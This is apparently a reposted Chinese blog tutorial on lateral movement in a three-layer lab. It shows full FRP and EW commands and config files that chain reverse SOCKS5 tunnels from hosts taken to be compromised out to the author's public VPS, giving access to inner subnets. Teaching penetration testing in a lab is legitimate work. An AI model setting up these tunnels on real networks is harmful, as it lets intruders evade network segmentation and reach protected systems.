搭建靶场
配置虚拟机网络
这里我用的是最常见的VMware Workstation
虚拟机软件,我们先做一个内部的网络环境
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021041913222374.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210419132121493.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
虚拟机
我这里是使用的是CFS三层靶机环境
下载链接:https://pan.baidu.com/s/1n2i6Tr2lXC_T8kSEJFcBsA
提取码:ni2v
我发现网上的方法吧DHCP(虚拟网络编辑器中)关掉后我的靶机就无法获取到IP地址了,所以我又开启了这里的DHCP。这里IP需要和说明一样,要不然会影响使用!但后面又发现自动分配的IP无法正常访问页面,这里需要使用一些小技巧,将我们要访问的IP设置为开始IP,这样一开始就能被分配上,我们就可以正常使用了!(这里目标一的网络还是和指定的IP端不一样,但我并不准备演示web攻击这些,所以这些无关紧要。)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421023454682.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
尝试一下通网段能互相ping通即可,我当前的网络环境如下图所示!
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421023707906.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
下面我会用我的一个公网(43.128.11.131)VPS或者一台虚拟机中的kali(192.168.1.200)作为我的攻击机来使用。
上线目标1(Target1)
因为本博客主要是写内网通道代理的,所以我这里就直接用msf上线目标一了(这里假设目标一的PC已经完全被攻陷了),我们现在的目标是通过外网主机连接到目标二和目标三。
Socks代理
简介
Socks这种代理使用的非常广泛,他是基于TCP协议的一种代理方式。大多数应用甚至系统中我们都可以设置Socks代理,我们在火狐或者谷歌浏览器中也都能找到Socks代理功能,这里就来介绍如果开启这种代理。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210420172108541.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
正向代理
正向代理是目标机器开启代理程序后,我们不需要其他机器作为中转,之间就可以通过代理设置连接。不过一般需要目标机器有公网IP,或者能直连到目标机器网络的机器作为攻击机
反向代理
反向代理在内网渗透中一般会更加常用,这种代理一般是需要我们一个有公网IP的服务器作为类似于中转站的工具,让目标先和我们的服务器和目标建立连接后,直接使用我们公网IP即可连接到目标服务器。这种代理方式相比于正向代理,用途更加广泛,并且安全性也较高。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210423182951330.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
FRP
FRP工具开源地址: https://github.com/fatedier/frp/releases
FRP工具官方文档: https://gofrp.org/docs/
FRP功能很强大,支持的代理方式也非常多,可以通过官方文档自行查看,当前这里主要介绍FRP会用Socks5进行的代理操作
首先我们将FRP下载到我们的攻击机,可以直接复制我下方的命令(这里我把版本写死了,你可以进一下工具的git看一下最新版,然后修改一下下载和解压命令即可)
mkdir frp
cd frp
wget https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz
tar -zxvf frp_0.36.2_linux_amd64.tar.gz
下载解压后,我们可以看一下压缩包内的文件主要有两类,一类是frp的客户端程序(frpc),一类是frp的服务端程序(frps)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421012849357.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
一般FRP我们使用的都是反向代理,是先用客户端去连接服务端,所以我们在攻击机中一般是启用服务端程序,而客户端是放在目标机器中启动的,其中.ini
是我们的配置文件。
从上图中我们也可以看出,配置文件一般会有中括号括起来的和类似字典形式的两种格式,其中中括号类似于注释,而字典一样的键值对则是需要我们配置的选项。
一层代理
在一层代理中,我们只需要使用一个bind_port
参数进行端口绑定即可。这里我选择绑定到我们的7000端口上。
echo [common] >> frps_vps.ini
echo "bind_tcp = 7000" >> frps_vps.ini
./frps -c frps_vps.ini
vim frpc_1.ini
[common]
server_addr = 43.128.11.131
server_port = 7000
[socks5]
type = tcp
plugin = socks5
remote_port = 10088
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421014455107.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
使用代理软件代理后成功获取到目标内网!
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421020930501.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421230249219.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
可以使用一些工具的代理,直接对目标内网机器进行渗透操作!
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421022048171.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
二层代理(多层代理)
只要看懂二层代理,三层,四层等都是类似的方法。
这里我们就假设,已经拿到了目标的root用户的密码,这里通过ssh直接进行登陆。
![在这里插入图片描述](https://img-blog.csdnimg.cn/2021042123184988.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
这里我们先把frp传输到目标二中
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421234000384.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
echo [common] >> frps_vps.ini
echo "bind_tcp = 7000" >> frps_vps.ini
./frps -c frps_vps.ini
vim frpc_22.ini
[common]
server_addr = 43.128.11.131
server_port = 7000
[socks5_to_1]
type = tcp
remote_port = 10088
plugin = socks5
[socks5_to_22]
type = tcp
local_ip = 127.0.0.1
local_port = 10089
remote_port = 10090
vim frps_1.ini
[common]
bind_port = 7000
./frpc -c frpc_22.ini &
./frps -c frps_1.ini
[common]
server_addr = 192.168.22.23
server_port = 7000
[socks5_33]
type = tcp
plugin = socks5
remote_port = 10089
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210422002739315.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210422003237412.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
完成上述操作后,我们只需要将代理改成socks5://43.128.11.131:10090
即可对目标进行扫描
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210422011236748.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
然后我们就可以使用相关漏洞对目标在进行下一层的渗透。到第四层之后我们的渗透都是类似的套路,先开启一个端口转发,在将目标端口一层一层转发出来即可。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210422012006349.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
PS:我上述的操作连接10088端口会进入目标1机器的代理中,连接10090会进入目标二机器的代理中!
EW
EW原文档,但作者因为EW被滥用,原作者已经下架了该工具的开源地址,并提供了检测机制。
EW下载地址: https://github.com/idlefire/ew
不过虽然原作者下架了,还是有其他人将其最后一版开源放出来了。
EW开发的初衷就是为了做渗透测试去使用,所以这个工具虽然只支持socks5协议代理,但既支持正向代理,又支持反向代理。
ew参数 | 英文 | 作用 |
---|
-s | state | 状态设置函数。从下面中选一个: ssocksd (正向代理),rcsocks (反向代理,流量转发),rssocks (反向代理,反弹socks5), lcx_listen (反向代理,流量转发), lcx_tran (端口转发), lcx_slave (端口绑定) |
-l | listenport | 为服务启动打开一个端口。(这里指定的一般就是我们socks连接的端口!) |
-d | refhost | 设置反向代理主机地址。 |
-e | refport | 设置反向代理端口。 |
-f | connhost | 设置正向代理主机地址。 |
-g | connport | 设置正向代理端口。 |
-h | help | 显示帮助文本,通过添加-s参数,还可以看到更详细的帮助。 |
-a | about | 显示关于页面。 |
-v | version | 显示版本。 |
-t | usectime | 设置超时的毫秒数。默认值1000 |
cp ew_for_linux64 ew
chmod 777 ew
正向代理
我们使用ssocksd
开启正向代理后,可以直接通过代理程序连接后访问目标网络。
./ew -s ssocksd -l 1888
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210422022647256.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
反向代理
./ew -s rcsocks -l 1888 -e 7788
./ew -s rssocks -d 43.128.11.131 -e 7788
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210422023658895.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
二层代理流量转发
首先我们在目标二中执行正向代理程序,然后在使用能直连到目标二的目标一机器开启一个流量转发,将目标二的正向代理通过此通道转发到我们的服务器中即可!
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210424015229503.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
./ew -s lcx_listen -l 4578 -e 4888
./ew -s lcx_slave -d 43.128.11.131 -e 4888 -f 192.168.22.22 -g 4455
./ew -s ssocksd -l 4455
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210423193136553.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
三层代理
上述的方法并不适用于三层以上的代理,如果想要使用三层及其以上的代理还是需要我们使用反向代理来进行连接,首先我们把目标三使用sockets反向代理连接到我们的目标二,在目标二开启一个流量转发,将目标三的流量转发到目标一中,再将目标一中的目标绑定到我们的公网服务器中的一个端口并且使用反向代理将端口转发出来一共我们连接。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210424023214267.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
./ew -s rcsocks -l 43128 -e 11131
./ew -s lcx_slave -d 43.128.11.131 -e 11131 -f 192.168.22.22 -g 2222
./ew -s lcx_listen -l 2222 -e 3322
ew -s rssocks -d 192.168.33.22 -e 3322
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210424024011250.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM5NjExMjMw,size_16,color_FFFFFF,t_70)
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)